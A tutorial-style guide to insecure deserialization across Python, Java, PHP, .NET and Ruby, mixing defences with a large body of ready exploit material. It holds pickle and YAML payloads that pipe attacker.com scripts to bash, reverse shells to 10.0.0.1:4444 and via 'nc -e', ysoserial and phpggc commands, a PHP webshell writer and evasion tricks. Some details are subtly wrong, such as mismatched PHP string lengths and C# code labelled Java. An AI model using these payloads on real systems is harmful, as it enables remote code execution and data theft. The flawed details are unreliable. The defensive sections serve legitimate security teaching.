Complete guide to understanding, exploiting, and preventing insecure deserialization attacks
Insecure Deserialization is a vulnerability that occurs when an application deserializes (reconstructs objects from byte streams) untrusted data without proper validation. This can allow attackers to manipulate serialized objects to execute arbitrary code, perform injection attacks, or abuse application logic. When exploited, deserialization flaws can enable:
Insecure Deserialization is ranked #8 in the OWASP Top 10 (2017) and merged into A08:2021 – Software and Data Integrity Failures. It's critical because:
Serialization converts objects into a byte stream for storage or transmission. Deserialization reverses this process:
# Python example - VULNERABLE
import pickle
# Serialization: Object → Bytes
user = {'username': 'admin', 'role': 'user'}
serialized = pickle.dumps(user)
# b'\x80\x04\x95&\x00\x00\x00...'
# Deserialization: Bytes → Object
user_obj = pickle.loads(serialized) # DANGEROUS if data is untrusted!
The vulnerability occurs when applications deserialize untrusted data:
// VULNERABLE JAVA CODE
// Reading serialized object from user input
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // DANGEROUS! User controls this data
An attacker crafts a malicious serialized object that exploits deserialization:
# Attacker creates malicious pickle payload
import pickle
import os
class Exploit:
def __reduce__(self):
# This executes during deserialization!
return (os.system, ('rm -rf /tmp/important_data',))
malicious_data = pickle.dumps(Exploit())
# When victim deserializes this:
pickle.loads(malicious_data) # ⚠️ Command executed!
Many languages have special methods called during deserialization:
Java exploitation uses "gadget chains" - sequences of existing classes that can be chained together to execute code:
// Example vulnerable class
public class User implements Serializable {
private String username;
private Runtime runtime;
private void readObject(ObjectInputStream in) {
// Custom deserialization - DANGEROUS!
in.defaultReadObject();
// Attacker can set runtime object
runtime.exec(someCommand); // Code execution!
}
}
ysoserial generates exploit payloads for Java deserialization [VERIFY SOURCE]:
# Generate CommonsCollections payload
java -jar ysoserial.jar CommonsCollections1 "calc.exe" | base64
# Apache Commons Collections exploit
java -jar ysoserial.jar CommonsCollections6 "wget http://attacker.com/shell.sh -O /tmp/s.sh"
# Spring Framework exploit
java -jar ysoserial.jar Spring1 "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
# JSON-based (Jackson)
java -jar ysoserial.jar JacksonRCE "rm -rf /tmp/*"
# Remote Code Execution via pickle
import pickle
import base64
class RCE:
def __reduce__(self):
import os
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
# Generate payload
payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload)
print(encoded)
# More sophisticated - reverse shell
class RevShell:
def __reduce__(self):
import subprocess
cmd = 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'10.0.0.1\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\'/bin/bash\',\'-i\'])"'
return (subprocess.Popen, (cmd,))
// VULNERABLE PHP CODE
<?php
class Logger {
public $logFile = '/tmp/log.txt';
public $data;
function __destruct() {
// Called when object is destroyed - DANGEROUS!
file_put_contents($this->logFile, $this->data);
}
}
// Vulnerable deserialization
$user_data = unserialize($_COOKIE['user']);
?>
<!-- Attacker payload -->
<?php
// Create malicious object
$exploit = new Logger();
$exploit->logFile = '/var/www/html/shell.php';
$exploit->data = '<?php system($_GET["cmd"]); ?>';
// Serialize and use as cookie
$payload = serialize($exploit);
// O:6:"Logger":2:{s:7:"logFile";s:27:"/var/www/html/shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}
?>
// VULNERABLE C# CODE
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(untrustedStream); // DANGEROUS!
// Exploitation with ysoserial.net
// ysoserial.net -f BinaryFormatter -g WindowsIdentity -c "calc.exe"
# VULNERABLE Ruby code
user_data = Marshal.load(params[:data]) # DANGEROUS!
# Exploit - Remote Code Execution
payload = Marshal.dump(`whoami`)
# Advanced - using ERB template injection
require 'erb'
class Exploit
def initialize
ERB.new("<%= `ls -la /` %>").result
end
end
Marshal.dump(Exploit.new)
# Python PyYAML - VULNERABLE
import yaml
# UNSAFE deserialization
data = yaml.load(user_input) # Allows arbitrary Python objects!
# Exploit payload
exploit = """
!!python/object/apply:os.system
args: ['curl http://attacker.com/shell | sh']
"""
# Safe alternative
data = yaml.safe_load(user_input) # Only basic Python objects
Finding exploitable classes in the application's classpath:
# Java - search for readObject methods
find . -name "*.jar" -exec unzip -l {} \; | grep -i "readobject"
# Analyze dependencies
mvn dependency:tree | grep -i "commons-collections"
# Look for dangerous libraries
# - Apache Commons Collections (versions < 3.2.2)
# - Spring Framework (certain versions)
# - Apache Groovy
# - XStream
# If signature verification is weak
# Original: HMAC-SHA256(data + secret)
# Attacker tries to change algorithm to "none"
import jwt
payload = {'user': 'admin', 'role': 'admin'}
# Try unsigned JWT
token = jwt.encode(payload, None, algorithm='none')
// Exploit Java type handling
// If whitelist checks class name as String
"java.lang.Runtime".getClass() // Might bypass string comparison
// If only ArrayList is whitelisted
// But attacker can use subclass that wasn't blacklisted
class MaliciousArrayList extends ArrayList {
private void readObject(ObjectInputStream in) {
// Malicious code here
}
}
// Use Java Proxy to wrap malicious invocation handler
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
// Create proxy that executes code on method invocation
Proxy.newProxyInstance(...)
# Base64 encoding
echo "malicious_pickle_payload" | base64
# Double encoding
# URL encode → Base64 → Send
# Compression
import zlib
compressed = zlib.compress(pickle_payload)
// PHP - switching between serialization formats
// If JSON is checked but serialize() is used:
$json_data = json_decode($input);
$php_obj = unserialize($json_data['nested_field']); // Still vulnerable!
// Split malicious payload across multiple requests
// Send partial serialized object, complete on server
# Generate different serialized forms of same attack
# Each time payload is different but achieves same result
import pickle
import random
class PolyExploit:
def __reduce__(self):
# Add random junk that doesn't affect execution
junk = random.randint(1, 10000)
return (os.system, (f'id # {junk}',))
// Hide malicious object inside legitimate wrapper
class LegitimateClass implements Serializable {
private SafeObject safe;
private Object hidden; // Actually contains exploit chain
}
# Execute code after deserialization completes
class DelayedExploit:
def __init__(self):
self.cmd = "whoami"
def __getstate__(self):
return {'cmd': self.cmd}
def __setstate__(self, state):
# Deserialization happens here
import subprocess
subprocess.call(state['cmd'], shell=True)
✅ THE PRIMARY DEFENSE
Never deserialize data from untrusted sources. If possible, use alternative data formats that don't support object instantiation.
# ❌ DANGEROUS - Native serialization
import pickle
user = pickle.loads(untrusted_data)
# ✅ SAFE - Use JSON instead
import json
user = json.loads(untrusted_data) # Only basic types, no code execution
Prefer data-only formats that don't support arbitrary object instantiation:
Sign serialized data to detect tampering:
# Python - HMAC signature
import hmac
import hashlib
import json
SECRET_KEY = b'your-secret-key-here'
def serialize_safe(data):
json_data = json.dumps(data)
signature = hmac.new(SECRET_KEY, json_data.encode(), hashlib.sha256).hexdigest()
return json_data + '.' + signature
def deserialize_safe(signed_data):
try:
data, signature = signed_data.rsplit('.', 1)
expected_sig = hmac.new(SECRET_KEY, data.encode(), hashlib.sha256).hexdigest()
if not hmac.compare_digest(signature, expected_sig):
raise ValueError("Invalid signature")
return json.loads(data)
except Exception as e:
raise ValueError("Deserialization failed")
// Java - HMAC validation
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
public class SafeSerializer {
private static final String SECRET = "your-secret-key";
public static String sign(String data) throws Exception {
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec key = new SecretKeySpec(SECRET.getBytes(), "HmacSHA256");
mac.init(key);
byte[] signature = mac.doFinal(data.getBytes());
return data + "." + Base64.getEncoder().encodeToString(signature);
}
public static String verify(String signedData) throws Exception {
String[] parts = signedData.split("\\.");
if (parts.length != 2) throw new SecurityException("Invalid format");
String data = parts[0];
String signature = parts[1];
// Verify signature
String expectedSig = sign(data).split("\\.")[1];
if (!MessageDigest.isEqual(signature.getBytes(), expectedSig.getBytes())) {
throw new SecurityException("Invalid signature");
}
return data;
}
}
Restrict deserialization to known safe classes:
// Java - Custom ObjectInputStream with whitelist
import java.io.ObjectInputStream;
public class SecureObjectInputStream extends ObjectInputStream {
private static final Set<String> WHITELIST = Set.of(
"com.example.SafeClass1",
"com.example.SafeClass2",
"java.lang.String",
"java.util.ArrayList"
);
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!WHITELIST.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized class", desc.getName());
}
return super.resolveClass(desc);
}
}
# Python - Restricted unpickler
import pickle
import io
class RestrictedUnpickler(pickle.Unpickler):
ALLOWED_CLASSES = {
('__builtin__', 'dict'),
('__builtin__', 'list'),
('__builtin__', 'str'),
('myapp.models', 'SafeUser'),
}
def find_class(self, module, name):
if (module, name) not in self.ALLOWED_CLASSES:
raise pickle.UnpicklingError(f"Class {module}.{name} not allowed")
return super().find_class(module, name)
def safe_loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
Run deserialization in sandboxed environments:
// Java - Replace BinaryFormatter
// ❌ DANGEROUS
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);
// ✅ SAFE - Use JSON
using System.Text.Json;
var options = new JsonSerializerOptions { /* configure */ };
MyObject obj = JsonSerializer.Deserialize<MyObject>(json, options);
# Python - Avoid pickle for untrusted data
# ❌ DANGEROUS
import pickle
data = pickle.loads(untrusted_input)
# ✅ SAFE - Use JSON or MessagePack
import json
data = json.loads(untrusted_input)
# or
import msgpack
data = msgpack.unpackb(untrusted_input)
import logging
def deserialize_with_logging(data, source):
logger = logging.getLogger('deserialization')
logger.info(f"Deserialization attempt from {source}")
try:
# Use safe deserialization
result = safe_deserialize(data)
logger.info(f"Successful deserialization: {type(result)}")
return result
except Exception as e:
logger.error(f"Deserialization failed: {e}")
raise
Remove or update vulnerable libraries:
# Java - Check for vulnerable dependencies
mvn dependency:tree
# Remove dangerous libraries if not needed
# - commons-collections < 3.2.2
# - commons-beanutils
# - groovy
# - XStream < 1.4.17
# Python - Update PyYAML
pip install 'PyYAML>=5.4'
# Use tools like OWASP Dependency-Check
dependency-check --project MyApp --scan /path/to/libs
# Validate content type before deserialization
def safe_deserialize(data, expected_type):
result = json.loads(data)
# Type validation
if not isinstance(result, expected_type):
raise TypeError(f"Expected {expected_type}, got {type(result)}")
# Schema validation
validate_schema(result)
return result
Look for these patterns in cookies, parameters, and API requests:
# Java serialized objects (Base64 encoded)
rO0AB... (starts with 'rO0' in base64, 0xACED0005 in hex)
# PHP serialized
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}
a:2:{i:0;s:5:"value";i:1;s:5:"value";}
# Python pickle (Base64)
gASV...
KFN0c...
# .NET BinaryFormatter
AAEAAAD...
# Java JSON (look for @class, @type indicators)
{"@class":"com.example.User","username":"admin"}
# Modify serialized data and observe behavior
# Original cookie:
O:4:"User":2:{s:4:"role";s:4:"user";}
# Modified to admin:
O:4:"User":2:{s:4:"role";s:5:"admin";}
# If successful, access is escalated
# Send malformed serialized data
# Look for stack traces revealing:
# - Deserialization libraries in use
# - Class names
# - File paths
# Example: Corrupt the payload slightly
rO0CORRUPT_DATA_HERE
# Python pickle - DNS exfiltration
import pickle
import os
class DNSExfil:
def __reduce__(self):
return (os.system, ('nslookup vulnerable.attacker.com',))
payload = pickle.dumps(DNSExfil())
# Send payload, monitor DNS logs
Generate Java deserialization exploits [VERIFY SOURCE]:
# Installation
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package
# Generate payloads
java -jar ysoserial-master.jar CommonsCollections1 "whoami" | base64
# Test common gadget chains
java -jar ysoserial-master.jar CommonsCollections1 calc.exe
java -jar ysoserial-master.jar CommonsCollections6 calc.exe
java -jar ysoserial-master.jar Spring1 calc.exe
java -jar ysoserial-master.jar Jdk7u21 calc.exe
# With Burp Intruder
# Generate multiple payloads and test all gadget chains
# Generate .NET payloads
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc.exe"
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "powershell.exe"
ysoserial.exe -f ObjectStateFormatter -g PSObject -c "cmd /c whoami"
# PHP Generic Gadget Chains
git clone https://github.com/ambionics/phpggc.git
# Generate payload for Laravel
./phpggc Laravel/RCE1 system id
# Generate for Symfony
./phpggc Symfony/RCE4 system whoami
# Generate for Monolog
./phpggc Monolog/RCE1 system "cat /etc/passwd"
Search for vulnerable deserialization patterns:
# Python - dangerous pickle usage
grep -r "pickle.loads" .
grep -r "yaml.load" . | grep -v "safe_load"
grep -r "marshal.load" .
# Java - native deserialization
grep -r "readObject" .
grep -r "ObjectInputStream" .
grep -r "XMLDecoder" .
# PHP - unserialize
grep -r "unserialize" .
grep -r "__wakeup" .
grep -r "__destruct" .
# .NET - dangerous formatters
grep -r "BinaryFormatter" .
grep -r "SoapFormatter" .
grep -r "ObjectStateFormatter" .
# Ruby - Marshal/YAML
grep -r "Marshal.load" .
grep -r "YAML.load" .
# Add monitoring to deserialization points
import logging
import pickle
original_loads = pickle.loads
def monitored_loads(data):
logging.warning(f"Pickle deserialization from: {inspect.stack()[1]}")
logging.warning(f"Data length: {len(data)}")
return original_loads(data)
pickle.loads = monitored_loads
# Application stores serialized user object in cookie
Cookie: session=rO0ABXNyABljb20uZXhhbXBsZS5Vc2Vy...
# Attacker decodes, modifies role from 'user' to 'admin'
# Re-serializes and replaces cookie
# Gains administrative access
# API uses pickle for JWT-like tokens
import pickle
import base64
token_data = {'user_id': 1, 'role': 'user'}
token = base64.b64encode(pickle.dumps(token_data))
# Attacker creates malicious token with RCE payload
class Exploit:
def __reduce__(self):
return (os.system, ('nc attacker.com 4444 -e /bin/bash',))
malicious_token = base64.b64encode(pickle.dumps(Exploit()))
# Send in Authorization header → RCE when deserialized
// Application accepts uploaded files with metadata
<?php
$metadata = unserialize($_POST['file_metadata']);
$file_path = $metadata->path;
$file_owner = $metadata->owner;
// Attacker uploads file with malicious metadata
// Metadata contains object with __destruct() writing webshell
?>
# Using ysoserial
java -jar ysoserial.jar CommonsCollections1 "ping attacker.com"
java -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com/shell.sh | bash"
java -jar ysoserial.jar Spring1 "wget http://attacker.com/backdoor"
java -jar ysoserial.jar Jdk7u21 "calc.exe"
# Pickle RCE
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(Exploit())))
// Object injection payload
O:4:"User":2:{s:8:"isAdmin";b:1;s:8:"username";s:5:"admin";}
// File write gadget
O:6:"Logger":2:{s:4:"file";s:10:"/tmp/shell.php";s:4:"data";s:18:"<?php phpinfo(); ?>";}
# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "powershell -enc [base64]"
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "cmd /c whoami"
# Serialized object signatures
rO0AB # Java (base64)
AAEAAAD # .NET BinaryFormatter (base64)
0xACED0005 # Java (hex)
O: # PHP object
a: # PHP array
gASV # Python pickle (protocol 4)
\x80\x04 # Python pickle (hex)
!!python/ # Python YAML unsafe